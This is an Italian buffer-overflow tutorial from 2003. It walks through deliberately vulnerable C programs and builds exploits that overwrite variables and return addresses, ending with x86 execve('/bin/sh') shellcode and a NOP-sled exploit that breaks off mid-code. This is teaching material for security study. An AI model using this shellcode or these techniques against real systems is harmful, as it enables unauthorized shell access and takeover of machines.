GUIDA AL BUFFER OVERFLOW AL CALCOLO DI UNO SHELLCODE E ALLA STESURA DI UN EXPLOIT SU ARCHITETTURE x86 v1.7 Ultimo aggiornamento:24/10/2003 BY R[]l4nD xroland@linux.net http://members.xoom.virgilio.it/xrol4nd/ ~ [REQUISITI MINIMI] ~ - Conoscenza del linguaggio C - Minima conoscenza del linguaggio Assembler - Conoscenza minima di UNIX/Linux - Conoscenza di GDB Debugger ~ [DISCLAIMER] ~ Voglio innanzitutto precisare che scrivo questo tutorial solo a scopo didattico-informativo poiché è molto importante conoscere quali sono le vulnerabilità che affliggono i nostri sistemi informatici e le tecniche usate dagli hacker per sfruttarle, in modo da difenderci e rendere la nostra rete molto più sicura di quello che è ora. Naturalmente anche imparando a memoria tutto quello che ho scritto in questo tutorial non riuscirete di sicuro a scrivere exploit molto complessi, per dei server ad esempio, poiché gli argomenti non sono trattati in modo approfondito come dovrebbe essere, anche perché se dovessi parlare di tutto verrebbe fuori una bibbia! A voi quindi il compito di approfondire e di andare avanti! Io mi limiterò a buttare giù le basi. ~ [INTRODUZIONE] ~ Ciao ragazzi, lo scopo di questo tut e' quello di farvi comprendere cosa sia un buffer overflow, come funziona e come realizzare un exploit che ne sfrutta la vulnerabilità! :) Penso che voi tutti sappiate cos' è un exploit... ma se comunque non lo sapete ve lo dico io: un exploit è un piccolo programma (si piccolo... ma non è detto che sia semplice!!!) che,nella maggior parte dei casi, sfruttando un buffer overflow (ma può sfruttare anche altre vulnerabilità) permette di eseguire codice arbitrario su una macchina, remota o locale, sulla quale in condizioni normali non si avrebbe nessun diritto. In questo tutorial cercherò di spiegare come realizzare un semplice Buffer Overflow Exploit in C (quindi naturalmente è richiesta una minima conoscenza di questo linguaggio) nel modo più semplice possibile. Scommetto che chi di voi non è molto ferrato in materia già si sarà chiesto: ma cos' e' il buffer overflow?????" ~ [COS' E' IL BUFFER OVERFLOW] ~ Per iniziare cerchiamo un pò di capire come è organizzato un processo in memoria: i processi sono suddivisi in tre zone: la zona Testo, la zona Dati e lo Stack. La regione del testo è costituita dal codice, quindi da istruzioni e dati di sola lettura; per questo ogni tentativo di scriverci sopra restituirà un errore, e in particolare un errore di Violazione della Segmentazione (Segmentation Fault). Poi abbiamo la zona dati che contiene i dati (inizializzati e non) e le variabili statiche. Infine abbiamo lo stack, la parte più importante: Lo stack è un "insieme di dati", che ha la caratteristica di essere organizzato a pila, cioè l'uno sull'altro, a partire dal più basso, in modo che l'ultimo dato inserito è sempre il primo ad essere letto. Questa proprietà è comunemente indicata come coda a LIFO Last in, First Out (ultimo ad entrare, primo ad uscire). In assembler esistono proprio dei comandi che permettono di immettere valori in cima allo stack (push) e di leggere un valore dalla cima dello stack (pop, che in particolare rimuove anche tale valore dello stack dopo averlo letto). Questi comandi, insieme a molti altri, saranno fondamentali nella stesura di uno shellcode. In generale l'assembler è un linguaggio da conoscere per un appassionato di informatica, anche se in pratica si usa poco. Riporto qui sotto un semplice schemetto sulla struttura dello stack, forse non sarà chiaro per tutti, ma non preoccupatevi, non fa niente :) Indirizzi Alti ___________ | | | | | Data | | | Pushed | | | | | |__________| <======= Stack Pointer (SP) | |__________| | | | | | Spazio | | | Libero | | | | | |__________| <======= Stack Segment (SS) Indirizzi Bassi Via via che nuovi dati sono posti nello stack, questo cresce verso il basso. Come si vede dalla figura, lo stack ha inizio ad un indirizzo alto e cresce verso il basso. Naturalmente quando si gestisce direttamente lo stack, bisogna accertarsi di non mettervi troppi valori se non si vuole andare incontro ad un errore di stack overflow. Immaginiamo ora di avviare un programma: esso verrà caricato in memoria, verrà generata una zona testo, una zona dati e verrà inizializzato lo stack per quel processo. Come detto in precedenza, verranno creati delle zone di allocazione, nelle quali, durante l'esecuzione del programma, verranno appunto allocate le variabili utilizzate. Naturalmente tali zone non sono illimitate, bensì hanno una determinata lunghezza; da questo capiamo facilmente che anche le variabili che vi verranno allocate dovranno rispettare tale dimensione. Generalmente in un codice ben programmato verranno utilizzate funzioni che verificano la lunghezza di un buffer(o di una stringa) prima di allocarlo in una variabile, in modo da non incontrare errori. Tuttavia, spesso, anche a causa della elevata complessità di un codice, si va incontro ad errori di programmazione, come proprio quello di effettuare allocazioni di variabili senza fare prima un controllo di dimensione. In C si va incontro ad errori simili utilizzando ad esempio la funzione strcpy() o strcat() che effettuano copie di variabili in nuove variabili senza effettuare un controllo di dimensione. Ed è proprio grazie a questi ed altri errori di programmazione che è possibile prendere il completo controllo dei processi e di conseguenza delle macchine su cui essi sono avviati. Vediamo adesso di capire quindi come si sfruttano questi errori di programmazione (BUG*) per prendere controllo di un processo: *Apro una piccola parentesi storica: gli errori vengono chiamati BUG (insetto) perché in passato, quando i calcolatori erano grandi come stanze, accadeva spesso che al loro interno andavano ad annidarsi insetti, mandando in blocco l'intero sistema. Ecco perché oggi gli errori in un programma vengono chiamati bug :) In più, il processo di pulizia di queste macchine veniva chiamato DEBUGGING appunto, che come spero sappiate è un termine utilizzato tutt'oggi in informatica per indicare proprio quel processo di revisione di un programma alla ricerca di eventuali errori o falle. Mettiamo caso che un programma effettui una copia senza controllo del valore della variabile A (di 100 Byte) nella variabile B (che può contenere al massimo 70 Byte). A copia effettuata secondo voi che sarà successo nella memoria del programma? Bè i 30 Byte in più copiati, traboccheranno (Overflow) dalla variabile B e andranno a sovrascrivere i 30 Byte ad essa adiacenti. A questo punto potranno succedere tante cose: ad esempio in quei 30 byte poteva esserci la zona di allocazione di un' altra variabile, quindi saremo andati a modificarvi il contenuto (Buffer Overflow di Heap), oppure poteva esserci una porzione di codice esecutivo, oppure una porzione di stack (Buffer Overflow di Stack); quindi andando a sovrascrivere con dei byte, che di norma non avranno "nessun significato" il programma molto probabilmente crachera andando in segmentation fault. A questo punto penso che avrete cominciato a capire il metodo di funzionamento di un Overflow del Buffer... Esistono quindi due tipi di Buffer Overflow: il Buffer Overflow di Heap e il Buffer Overflow dello Stack. Parleremo ora in dettaglio dei due tipi di Buffer Overflow; Nella precedente versione del Tut, avevo pensato di riferirmi ad un ambiente Unix emulato su Windows, poichè la maggior parte dei lettori non avrebbero secondo me utilizzato linux. Tuttavia ho ricevuto de "rimproveri" da qualcuno, e quindi ho deciso di riscrivere il tutto riferendomi ad un ambiente Unix/Linux nativo. Ricordate che comunque tutto quello che spiego per linux si puo fare tranquillamente su Windows. NON è vero che su windows non si possono codare exploit, e chi lo afferma non ne sa niente. Io stesso ho scritto diversi exploit su Windows con Visual Basic proprio per dimostrare questo (potete trovarli sul mio sito completi di sorgente). Infatti su internet si trovano solo exploit per linux, poiché in effetti è molto ma molto più comodo lavorare su linux, ma questo non significa che non si può fare da win!!! Volendo si può fare anche da mac :) ~ [BUFFER OVERFLOW DI HEAP] ~ Il Buffer Overflow di Heap, come gia detto consiste nell' andare a sovrascrivere con un overflow del buffer un'altra variabile, in modo da ottenere un qualcosa a nostro favore. Questo tipo di buffer overflow, data la sua estrema semplicità, è anche molto difficile da incontrare... in poche parole... si deve essere veramente imbecilli per compiere un errore di programmazione del genere.. :) Comunque... consideriamo il seguente codice: --- inizio codice prog.c --- main (int argc, char *argv[]){ char comando[20]; char var1[10]; strcpy(comando,"gvim"); strcpy(var1,argv[1]); printf(var1); system(comando); } --- fine codice --- Questo semplicissimo programma prende in input un stringa, la assegna alla variabile argv; viene copiata la stringa "gvim" nella variabile comando; viene poi effettuata una copia (SENZA VERIFICA DELLA DIMENSIONE!!!!) del valore contenuto in argv nella variabile var1; viene stampata var1; viene eseguita la stringa contenuta in comando. Naturalmente questo programma è solo dimostrativo... non ha nessunissima utilità pratica per chi non lo avesse capito!!!!! Adesso supponiamo di voler exploitare questo prog: Innanzitutto compiliamo e verifichiamo che funziona... bene funziona :) difficile vero? Scherzo... PS: gvim non e' altro che la GUI di vim Adesso creiamo un nuovo sorgente, e chiamiamolo prog2.c del tipo: --- inizio codice prog2.c --- main (int argc, char *argv[]){ char comando[20]; char var1[10]; strcpy(comando,"gvim"); strcpy(var1,argv[1]); printf(var1); //codice aggiunto char *p; int i; p=&var1[0]; for (i=0;i<=25;i++){ printf("\n %d: %p = %c",i,p,*p); p++; } //end codice aggiunto system(comando); } --- fine codice --- Il codice che abbiamo aggiunto non fa altro che stamparci la memoria del programma e i corrispondenti indirizzi a partire dal primo carattere della variabile var1. Non sto qui a spiegarvi i vari comandi che ho usato, questo non è un manuale di c... Vi consiglio comunque di andarvi a studiare le variabili puntatore, sempre se gia non le conoscete, e vedrete che il codice che ho riportato sarà molto più chiaro. Otterremo una cosa del genere (probabilmente gli indirizzi di memoria non saranno gli stessi, non preoccupatevi!): $ ./prog2 roland roland 0: 8022FF38 = r -| |- var1[0] 1: 8022FF39 = o -| |- var1[1] 2: 8022FF3A = l -| |- var1[2] 3: 8022FF3B = a -| |- var1[3] 4: 8022FF3C = n -| |- var1[4] 5: 8022FF3D = d -|____ var1 ___|- var1[5] 6: 8022FF3E = 7: 8022FF3F = 8: 8022FF40 = U tutti questi caratteri non sono importanti 9: 8022FF41 = è molto probabilmente voi li avrete differenti 10: 8022FF42 = + o potrete neanke non averli!!! 11: 8022FF43 = w 12: 8022FF44 = Ó 13: 8022FF45 = ß 14: 8022FF46 = " 15: 8022FF47 = 16: 8022FF48 = g -| |- comando[0] 17: 8022FF49 = v -| |- comando[1] 18: 8022FF4A = i -| |- comando[2] 19: 8022FF4B = m -|___ comando ___|- comando[3] 20: 8022FF4C = 21: 8022FF4D = ­ 22: 8022FF4E = ² 23: 8022FF4F = ¦ 24: 8022FF50 = ; 25: 8022FF51 = Come si nota ogni carattere appartiene ad un corrispondente elemento dell'array. Forse vi starete chiedendo: Ma perchè se in alcuni elementi dell'array di var1 vi sono dei simbolacci, tuttavia var è pari solo a "roland"?Bè la risposta è semplice: il programma capisce che la stringa è finita con la "d" di roland perché subito dopo di essa c'e' un carattere null, quindi tutto quello che c'e' dopo non viene considerato. Se per esempio noi passassimo come input al nostro programmino una stringa di 20 caratteri cosa succederebbe???? Bè i caratteri g - v - i - m verranno sovrascritti!!! Quindi se organizziamo per benino un stringa da passargli come input potremmo sovrascrivere calc come ci pare!!! Per esempio se gli passassimo la stringa: xxxxxxxxxxxxxxxxls -l che succederebbe??? Proviamo un po... $ ./prog xxxxxxxxxxxxxxxxls -l xxxxxxxxxxxxxxxxls -l-rw-rw-rw- 1 roland users 681 Oct 21 23:55 Makefile -rw-rw-rw- 1 roland users 875 Oct 22 00:03 README -rw-rw-rw- 1 roland users 19280 Oct 21 23:11 rrc_server.c -rw-rw-rw- 1 roland users 4623 Oct 22 00:08 rrc_v0.2.tar.gz Finalmente abbiamo raggiunto il nostro scopo! Come potrete verificare non si avvierà più gvim, ma bensì "ls -l", listando il contenuto della directory corrente :D Naturalmente sostituendo a "ls -l" il puntatore ad un Shell, virrà avviata un shell in locale. In pratica che è successo??? Bè tra il primo carattere di "var1" e il primo di "comando" ci sono 16 spazi liberi; riempiendo questi con delle x e poi passandogli un qualsiasi comando, questo si andrà a sovrascrivere a gvim!!!! Facile no??? Ma non entusiasmatevi troppo!!! Di programmi vulnerabili a questo tipo di exploit non ne troverete praticamente nessuno, a meno che non ve li scriviate da soli! Adesso passiamo alla stesura dell'exploit che ci permette di eseguire un qualsiasi comando preso in input. Quindi: --- inizio exploit.c --- main (){ char comando[50]; char shellcode[]="prog xxxxxxxxxxxxxxxx"; printf("\nInserire il comando da eseguire:"); scanf("%s",comando); strcat(shellcode,comando); system(shellcode); } --- fine codice --- proviamo... $ ./exploit Inserire il comando da eseguire:ls -l xxxxxxxxxxxxxxxxls-l-rw-rw-rw- 1 roland users 681 Oct 21 23:55 Makefile -rw-rw-rw- 1 roland users 875 Oct 22 00:03 README -rw-rw-rw- 1 roland users 19280 Oct 21 23:11 rrc_server.c -rw-rw-rw- 1 roland users 4623 Oct 22 00:08 rrc_v0.2.tar.gz Ed ecco qui il nostro exploitino. Perché non provate a vedere se anche questo è exploitabile? Certo che è exploitabile!! C'è uno strcat() senza controllo!! Provate!!:) Provate anche a scambiare le posizione delle dichiarazioni delle variabili e vedete che succede... dopo tutto c'era da aspettarselo... ~ [BUFFER OVERFLOW DELLO STACK] ~ Il Buffer overflow dello stack è molto più complesso di quello di heap che ho precedentemente illustrato, tuttavia lo spiegherò utilizzando programmini molto semplici in modo da ridurre al minimo la difficoltà. Consideriamo il seguente codice: --- inizio prog1.c --- function (){ printf("Ci sei riuscito!!!!"); exit(0); } main (int argc, char *argv[]) { char var[10]; strcpy(var,argv[1]); } --- fine codice --- Questo programma fa una cosa semplicissima: prende un stringa in input e la assegna alla variabile argv; poi effettua una copia (SEMPRE NON CONTROLLATA) del contenuto di argv in var. In più vi è una funzione dichiarata (function) che stampa un testo ma che tuttavia non viene richiamata da nessuna parte del main, quindi normalmente rimane inutilizzata. Bè il nostro scopo è proprio quello di richiamare tale funzione utilizzando un buffer overflow!!! In questo caso, a differenza del Buffer Overflow di heap, non ci servirà il codice sorgente del programma. Bada bene che comunque anche per scrivere exploit che sfruttano buffer overflow di heap non è necessario avere il codice del programma, basta infatti un semplice editor di memoria. Comunque, compiliamo il nostro programmino e iniziamo a testarlo... proviamo man mano ad inserire sempre stringhe più lunghe, dato che comunque il nostro scopo è un overflow di var. roland@SERVER /home/roland/guida $ ./prog1 furetto roland@SERVER /home/roland/guida $ ./prog1 furettoooooooooooooooooooo roland@SERVER /home/roland/guida $ ./prog1 furettoooooooooooooooooooooooooooooooooooooooooooooo $Segmentation fault Ci viene restituito proprio l'errore che ci aspettavamo... Questo significa che le varie "o" del buffer hanno traboccato var1 e sono andate sicuramente a sovrascrivere l'indirizzo di ritorno (RET) di una funzione, non ci interessa quale... Sicuramente ora vi starete chiedendo cosa sia questo "RET".. vero? Allora: un programma eseguibile, come si sa, è scritto in codice macchina, traducibile quindi in ASM per nostra comodità. Durante l'esecuzione di questo codice, quando si incontra un CALL (cioe' una chiamata ad una funzione distaccata dal normale codice esecutivo) l'esecuzione del programma stesso deve saltare dal "normale percorso" per proseguire nel punto della memoria dove risiede la funzione chiamata. Tuttavia quando questa funzione e' stata eseguita, l'esecuzione del programma deve tornare nel punto da dove aveva lasciato prima. E' proprio in questo momento che entra in ballo il RET: infatti il programma prima di saltare alla funzione, memorizza sullo stack l'indirizzo in cui si trova in quel momento, in modo che, dopo l'esecuzione della CALL, possa rileggere l'indirizzo salvato in precedenza e tornare ad eseguire il codice da li. Quindi in pratica sostituendo questo RET, quando il programma torna dall'esecuzione della CALL che lo ha generato, invece di leggere il vero indirizzo di RET, leggerà quello sovrascritto, che nel nostro caso sono una serie di "o". In HEX le "o" sono rappresentate dal codice 0x6F, quindi il nostro RET sara' 6F6F6F6F. Ovviamente, non esistendo tale indirizzo il programma restituira un errore di segmentazione. Perfetto, e se noi invece di sovrascriverlo con 6F6F6F6F lo sovrascriviamo con l'indirizzo della nostra function()????? Bè verrebbe lanciata tale funzione :) Allora, la prima cosa da fare è vedere quale è l'indirizzo della nostra function(): Lanciamo il gdb $ gdb prog1 GNU gdb 5.3 Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-slackware-linux"... (gdb) disas main Dump of assembler code for function main: 0x804012b4 : push %ebp 0x804012b5 : mov %esp,%ebp 0x804012b7 : sub $0x28,%esp 0x804012ba : and $0xfffffff0,%esp 0x804012bd : mov $0x0,%eax 0x804012c2 : mov %eax,0xffffffe4(%ebp) 0x804012c5 : mov 0xffffffe4(%ebp),%eax 0x804012c8 : call 0x402980 <_alloca> 0x804012cd : call 0x4013c0 <__main> 0x804012d2 : sub $0x8,%esp 0x804012d5 : mov 0xc(%ebp),%eax 0x804012d8 : add $0x4,%eax 0x804012db : pushl (%eax) 0x804012dd : lea 0xffffffe8(%ebp),%eax 0x804012e0 : push %eax 0x804012e1 : call 0x402a30 0x804012e6 : add $0x10,%esp 0x804012e9 : leave 0x804012ea : ret End of assembler dump. (gdb) Questo è il codice asm del main; Ora disassembliamo function() (gdb) disas function Dump of assembler code for function function: 0x80401294 : push %ebp 0x80401295 : mov %esp,%ebp 0x80401297 : sub $0x8,%esp 0x8040129a : sub $0xc,%esp 0x8040129d : push $0x401280 0x804012a2 : call 0x402a50 0x804012a7 : add $0x10,%esp 0x804012aa : sub $0xc,%esp 0x804012ad : push $0x0 0x804012af : call 0x402a40 End of assembler dump. (gdb) quit Come possiamo notare l'indirizzo della prima istruzione di function() e quindi l'indirizzo della stessa function() è 0x00401294. Teniamolo bene a mente!!!!!!! Torniamo adesso sul nostro prog e cerchiamo di capire qual'è il buffer che satura completamente la memoria della variabile senza però sovrascrivere l'indirizzo a cui punta la call. Per far questo facciamo un pò di prove... Dopo qualche tentativo ci rendiamo conto che il buffer che satura la memoria è di 27 Byte, infatti provando ad inserirne anche solo 28 ci viene restituito il famoso errore. Naturalmente non è necessario calcolare qual'è il buffer che satura la memoria senza sovrascrivere il RET. Questo lo faccio solo adesso per far capire bene come si struttura il processo. Comunque è sufficente generare un buffer costituito da una successione continua di indirizzi da sostituire del tipo: for (i=0; i<1024; i+=4) * (long *)&buffer[i] = 0xf3f3f3f3 capito? Adesso quindi non ci rimane altro che scrivere un exploitino che riempie il buffer con 28 byte e poi scrive l'indirizzo di function() sovrascrivendolo a quello reale, in modo che quando viene effettuata la chiamata viene eseguita function(); vediamo un po se siete d'accordo... 0x61 è il codice HEX di "a"; --- inizio exploit.c --- main () { char buf[31],lancia[35]; int i; for (i=0; i<28; i++){ *(long *)&buf[i]=0x61; } *(long *)&buf[28]=0x00401294; strcpy(lancia,"prog1 "); strcat(lancia,buf); system(lancia); } --- fine exploit.c --- Come detto prima non è lo scopo di questo tutorial insegnarvi il C, quindi non commento il codice, che dopotutto è così semplice che parla da se. compiliamo ed avviamo... $ ./exploit Ci sei riuscito!!!! Come si può vedere viene stampata la stringa "Ci sei riuscito!!!!" proprio perché è stata lanciata function()!!!! Naturalmente anche questo codice e questo exploit in termini pratici non servono a nulla, ma sono un buon esercizio per imparare! Ora passiamo alla stesura dello shellcode: ~ [SHELLCODE] ~ Innanzitutto cos'è lo shellcode??? Lo shellcode è quel buffer, che dato come input ad un processo, agisce nella memoria, con metodi che ho finora descritto, generando una shell remota o locale, che ci permette di avere pieno possesso della macchina. Tuttavia, nel nostro caso avvia semplicemente una funzione, quindi non può essere definito un vero shellcode... comunque per noi va bene lo stesso :) In effetti neanche il buffer del primo esempio è uno shellcode, perché non rappresenta nessun codice asm che avvia una shell, ma semplicemente fa in modo di lanciare un comando modificando una variabile. In questo caso lo shellcode è molto semplice da realizzare, in pratica ce lo siamo gia fatto ma non ce ne siamo accorti!!!! Allora riprendiamo una porzione de codice dell'exploit: --- porzione exploit.c --- for (i=0; i<28; i++){ *(long *)&buf[i]=0x61; } *(long *)&buf[28]=0x00401294; --- fine porzione --- mmm... vediamo un pò... Dobbiamo scrivere 28 0x61 e poi l'indirizzo di ritorno, naturalmente al contrario sempre per il motivo dello stack. Quindi... mettendo uno "\" al posto dello "0" otteniamo: char shellcode[] = "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" "\x61\x61\x61\x61\x61\x61\x61\x61\x94\x12\x40"; Ecco fatto, uno shellcode bello alla vista e molto più stiloso rispetto a quel brutto ciclo for :) Oltre a questo shellcode potevate anche scriverne uno in cui vengono mantenuti gli zeri, ma in cui tutte le cifre vanno separate da virgole: char shellcode[]= {0x61,0x61,0x61....}; Ma comunque a me piace di più il primo. Potete scriverlo come vi pare, l'importante è che quando viene riportato in ASCII abbia la forma corretta. Ora non ci resta altro che scrivere un piccolo exploitino che passa al programma il nostro shellcode, naturalmente convertito in caratteri ASCII. Allora, vediamo un pò che ne pensate di questo: --- inizio exploit2.c --- char shellcode[] = "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" "\x61\x61\x61\x61\x61\x61\x61\x61\x94\x12\x40"; main () { char lancia[40]; strcpy(lancia,"prog1 "); strcat(lancia,shellcode); system(lancia); } --- fine --- Questo è un exploit semplicissimo, realizzabile in poco tempo, che però come avete potuto notare ci permette solo di cambiare una piccola porzione di codice nella memoria per richiamare una funzione o un indirizzo di memoria a nostro piacere. Non che sia poco, anzi può essere utile in molti casi,ad esempio puoi utilizzarlo anche per creare un loop infinito in un processo e quindi far impallare tutta la macchina. Il Buffer Overflow dello Stack può comunque essere usato per creare exploit molto più potenti e complessi, come per esempio quelli per processi cruciali per un sistema, come lo può essere per esempio un server. Non è questa la sede per parlarne approfonditamente, per questo vi rimando ad un secondo tut scritto sempre da me che parla proprio della stesura di uno ShellCode a partire da 0. Vi darò comunque una piccola infarinatura: Pensate alla memoria di un processo strutturata, in modo estremamente semplificato, così: ~~~~~~: cianfrusaglie varie aaaaaa: parte di memoria dedicata all'allocazione della variabile che verrà exploitata RET 0x00401294: indirizzo di ritorno di una funzione 0x0001 0x0002 0x0003 <===INDIRIZZI DI MEMORIA | | | | | | aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa~~~~~~~~~~~~~~(RET 0x00401294)~~~~~~~~ Pensiamo di passare un buffer che sovrascrive "aaaa.." con un buffer che rappresenta (in codice ASCII) un insieme di comandi ASM che avviano una shell. Naturalmente il buffer non dovrà essere superiore alla lunghezza disponibile per l'allocazione della variabile, o almeno non di molto, semplicemente perché in programmi molto complessi si rischierebbe di sovrascrivere parti importanti del codice. Riempire la restante parte di "aaa.." con dei NOP (No Operation) per esempio fino a raggiungere l'indirizzo 0x0002. A questo punto, arrivati all'indirizzo 0x0003, sovrascriviamo l'indirizzo 00401294, come fatto per il programma di esempio, con l'indirizzo 0x0001!!!! Capito??? Che è successo quindi??? Vediamo un po la memoria... 0x0001 0x0002 0x0003 <===INDIRIZZI DI MEMORIA | | | | | | aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa~~~~~~~~~~~~~~(RET 0x00401294)~~~~~~~~ <=== VECCHIA | | | ccccccccccccccccccccccccccccccccc~~~~~~~~~~~~~~(RET 0x0001) ~~~~~~~~ <=== NUOVA cccc: shellcode Lo shellcode da usare, sarà quindi del tipo: char shellcode[]="ccccccccccccccccccccccccccccccccc~~~~~~~~~~~~~~(RET 0x0001)" Che fa quindi il nostro shellcode? L'esecuzione del processo arriva al RET, salta all'indirizzo 0x0001, quindi punta nella zona che prima era riservata alla variabile, ma a lui non importa :) ed inizia ad eseguire il codice che trova, che poi è lo shellcode che abbiamo inserito noi!!! A questo punto ci apre una bella shell remota... Bello vero?? A quanto pare tutto il procedimento non sembrerebbe tanto difficile... sembrerebbe... in effetti invece non è così facile quanto sembra... Il primo ostacolo che potreste incontrare è dato dal fatto che, come ho detto, è necessario far saltare l'esecuzione del codice all'inizio del buffer che contiene il nostro shellcode; questo però non è così facile come sembra... infatti quale sarà l'indirizzo a cui si trova il nostro buffer?? Naturalmente inteso dove si trova nello stack, non nell'heap del processo, altrimenti sarebbe facilmente ricavabile... Bè non è facile trovare l'indirizzo del buffer, in genere si procede per prove, partendo da dati certi, come ad esempio lo Stack Pointer del processo. Ad esempio per calcolarci il nostro SP (stack pointer), basta utilizzare il seguente codice: --- Inizio Codice --- //copia l'indirizzo di esp (SP) in eax unsigned long get_sp(void){ __asm__("movl %esp, %eax"); } main(){ //stampa l'indirizzo dello SP fprintf(stdout,"\n- Stack Pointer (SP): 0x%x\n",get_sp()); } --- Fine Codice --- Come si può notare il codice è molto semplice, integrando anche una riga di codice asm; i commenti parlano da soli. Ora sappiamo l'indirizzo dello Stack Pointer: questo significa che qualsiasi variabile viene allocata nell'indirizzo di memoria a lui immediatamente successivo; adesso non ci rimane altro che fare un po di tentativi... Tuttavia per aumentare le probabilità di beccare l'indirizzo corretto del nostro buffer, possiamo attuare un piccolo stratagemma: riempiamo di NOP (No Operation 0x90) la parte precedente lo shellcode nel nostro buffer, in modo da ottenere una parte di memoria maggiore su cui effettuare i tentativi. Mi spiego meglio: Riprendiamo lo schema di memoria di prima: 0x0001 0x0002 0x0003 <===INDIRIZZI DI MEMORIA | | | | | | aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa~~~~~~~~~~~~~~(RET 0x80401294)~~~~~~~~ <=== VECCHIA | | | ccccccccccccccccccccccccccccccccc~~~~~~~~~~~~~~(RET 0x0001) ~~~~~~~~ <=== NUOVA Per lanciare il nostro shellcode dobbiamo per forza azzeccare l'indirizzo 0x0001, il che non è semplice... se invece riempiamo di NOP la parte prima dello shellcode otteniamo: 0x0001 0x00005 0x0002 0x0003 <===INDIRIZZI DI MEMORIA | | | | | | | | aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa~~~~~~~~~~~~~~(RET 0x80401294)~~~~~~~~ <=== VECCHIA | | | nnnnnnnnnnnnnnnnnnnnnnccccccccccc~~~~~~~~~~~~~~(RET 0x0001) ~~~~~~~~ <=== NUOVA n = NOP; c = shellcode. A questo punto, qualsiasi degli indirizzi compresi tra 0x0001 e 0x00005 becchiamo, andrà bene, perché grazie ai NOP l'esecuzione del processo scorrerà fino a raggiungere lo shellcode. Come immaginerete le possibilità di individuare il buffer sono aumentate notevolmente. Un' altro "trucchetto" per velocizzare la ricerca dell'indirizzo del buffer, potrebbe essere scrivere l'exploit in modo da prendere in ingresso un valore passato da noi, che indichiamo come offset, in modo da ottenere l'address del buffer come somma tra lo SP e l'offset stesso (buffAddr = SP + offset); in questo modo possiamo provare più velocemente gli indirizzi, invece di riscrivere e ricompilare continuamente il codice dell'exploit. Riporto adesso qui un esempio di tipico programma vulnerabile di questo genere: ---- vuln.c ---- #include void usage(void); void stampa(char *text); main(int argc, char *argv[]){ if (argc<=1) usage(); else { stampa(argv[1]); } } void stampa(char *text) { char var[300]; printf("\nHai inserito: %s\n\n",text); strcpy(var,text); } void usage(void) { printf("\nUsage: ./buf text\n\n"); } ---- vuln.c ---- Anche questo è un programma inutile e progettato solo allo scopo di mettere in risalto la vulnerabilià. Esso non fa altro che prendere in input una stringa e passarla alla funzione stampa, che poi la stamperà sullo standard output e ne copierà il contenuto in var (E' proprio questa la funzione vulnerabile). Questo invece è il rispettivo exploit, che poi commenterò passo passo: ---- exploit.c ---- #include char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07" "\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d" "\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80" "\xe8\xdc\xff\xff\xff/bin/sh"; int getsp(){ __asm__("movl %esp,%eax"); } main(int argc, char *argv[]){ char buf[5000]; int n,i,RET,SP,VAR; n = 320; SP = getsp(); VAR = 4400; RET= SP + VAR; system("clear"); printf("\n - Generazione Buffer... "); //Posizionamento NOP for(i=0;i